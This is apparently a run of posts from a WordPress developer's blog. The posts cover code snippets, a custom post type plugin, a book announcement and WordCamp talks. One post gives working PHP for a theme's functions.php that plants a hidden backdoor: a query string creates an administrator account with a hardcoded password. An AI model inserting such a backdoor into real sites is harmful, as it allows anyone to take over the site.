Today’s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.
The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.
Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.
We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:
This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!
A few days ago I released a new plugin for WordPress called Custom Post Type UI. This plugin allows you to easily create custom post types in WordPress without writing a single line of code!
Using custom post types is the future of WordPress and really opens the software up to be a full fledged Content Management System (CMS). For example if you are building a website for a car dealer you could create a post type for Cars. A business directory could have a post type for Businesses. A movie database could have a post type for Movies, Actors, and Directors. I think you get the idea. Post types are a very powerful feature in WordPress and my new plugin helps you take advantage of the power!
Below are some screenshots showing the plugin in action:
Easily create new custom post types
New custom post type is automatically added to your admin menu
Easily view and edit existing custom post types
This plugin is a little different than my other plugins because it is primary built for WordPress 3.0, which hasn’t been officially released yet. You can however install WordPress 3.0-alpha very easily using the WordPress Beta Tester plugin created by Peter Westwood.
All custom post types are saved as a single WordPress option in the database keeping this plugin very lightweight. A future version will include creating custom taxonomies for custom post types. I hope this plugin will be rolled into the Core WordPress software at some point, but until then the Custom Post Type UI does the trick!
Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:
function ThumbRSS() {
global $post;
if ( has_post_thumbnail( $post->ID ) ) {
$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
}
echo '<thumb>'.$thumbpic.'</thumb>';
}
add_filter('rss_item', 'ThumbRSS');
Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:
Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!
After a 4 month writing phase, and 1.5 month editing phase, we have finally completed the book! I’m extremely excited for this book to hit the store shelves and really believe it’s going to be well received by the WordPress Community.
This book is really different than any other WordPress book on the market. Professional WordPress is a more internals look at WordPress and how it functions. We dive into the Core code and review built-in functions and APIs available for use when extending WordPress.
My favorite chapter of the book is the plugin development chapter. I honestly believe this chapter is worth the price alone. If you are interested in creating custom plugins in WordPress, or even if already know how but want to expand your knowledge, this is the book for you!
You’ll learn the correct way to use the Settings API when developing plugins. We also cover data validation and security to make your plugins as secure as possible. This chapter covers everything you need to know to create amazing plugins the correct way in WordPress!
This book was written by myself and David Damstra. Our Technical Editor was Hal Stern. Mike Little, the co-creator of WordPress, was also a Technical Editor and helped verify the methods we used were always the most appropriate and up-to-date.
The organizers did an amazing job putting this WordCamp together. They were constantly giving out prizes, announcing surprises, and keeping everyone thoroughly entertained all day long. Hats off to Amanda, Jake, and John and all the volunteers for an amazing job! They even handed out Monsters!
Don’t mind the Colts slides in my security presentation. I think it gave them good luck when they won the AFC Championship game!
My presentations from the event are below, enjoy!
Top 20 WordPress Plugins You’ve Never Heard Of 2010
Top 20 WordPress Plugins You’ve Never Heard Of 2010 Slideshow
Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:
<?php
add_action('wp_head', 'my_backdoor');
function my_backdoor() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('brad')) {
$user_id = wp_create_user('brad', 'pa55w0rd');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
To activate this code simply visit http://example.com?backdoor=go
When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.
Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!
Professional WordPress will be a WROX publication, which is the technical branch of Wiley books. I have the honor of writing this book with David Damstra and Hal Stern, both of which have an extensive background working with WordPress.
We have officially crossed the 50% mark writing this new book so I thought it was a perfect time to officially announce it! Professional WordPress is a more advanced book detailing everything WordPress has to offer. There are WordPress books on the scene currently, and even morebeingwritten, but Professional WordPress is unlike any books on the market. We take a more advanced look at WordPress, from breaking down functions and classes, to exploring in depth each WordPress API, this book is for anyone wanting to take the next step in WordPress website development.
Below is our official book description:
———————-
As the most popular blogging and content management platform available today, WordPress is a powerful tool. This exciting book goes beyond the basics and delves into the heart of the WordPress system, offering overviews of the functional aspects of WordPress as well as plugin and theme development.
What is covered in this book?
• Detailed review of WordPress Functionality and Codebase
• The Loop and Data Management
• Plugin Development
• Theme Development
• Content Aggregation, SEO and User Experience
• Statistics, Scalability, Security and Spam
• Using WordPress as a CMS
• Using WordPress in the Enterprise
• Moving your existing site to WordPress
This book takes an “internals” view of WordPress and drives the fundamentals of how things work to explain use cases and extensions to the core platform. Including hands on examples, and real world tips, this exhaustive book is a must-have for Web and PHP professionals developing on the WordPress platform.
———————
You can follow our progress and any Professional WordPress news with the hash tag #prowp. Now that we have officially announced our book we plan on using that hash tag more often. You can also pre-order your copy of Professional WordPress starting today! The book is currently planned for a March 2010 release date.
I had the pleasure of interviewing Matt Mullenweg, the founding developer of WordPress, for the SitePoint podcast recently.
Matt and I covered a range of topics including WordPress and MU, contributing to WordPress, commercial plugins, what to expect in the future of WordPress, and how to get involved with WordPress.
Matt is great to interview and we had a lot of fun. I even found out what actor would play Matt if a WordPress movie is ever created. Can you guess who? Listen to the episode to find out!
This is the first in a series of one-on-one interviews we’ll be conducting for the SitePoint Podcast. I’m going to focus on interviewing high profile figures in the open source scene. Stay tuned for much more interview goodness!
Over the weekend I had the pleasure of attending WordCamp Montreal. I gave a presentation on WordPress Security at the event. You can view my slideshow presentation below:
Next stop on my WordCamp Tour is WordCamp Montreal! I will be giving a presentation on WordPress Security at the event. My presentation will cover how to keep your WordPress powered website secure from hackers and exploits. I’ll show examples of hacked sites, share tips and plugins for keeping WordPress secure, and talk about my experiences with WordPress and security overall.
WordCamp Montreal will take place in Montreal, Quebec on July 11-12.
I’m taking the scenic train ride from NYC to Montreal (12 hours!) and also plan on attending the Jazz Festival while in town. WordCamps are awesome and so is traveling so I’m really looking forward to this event, aye!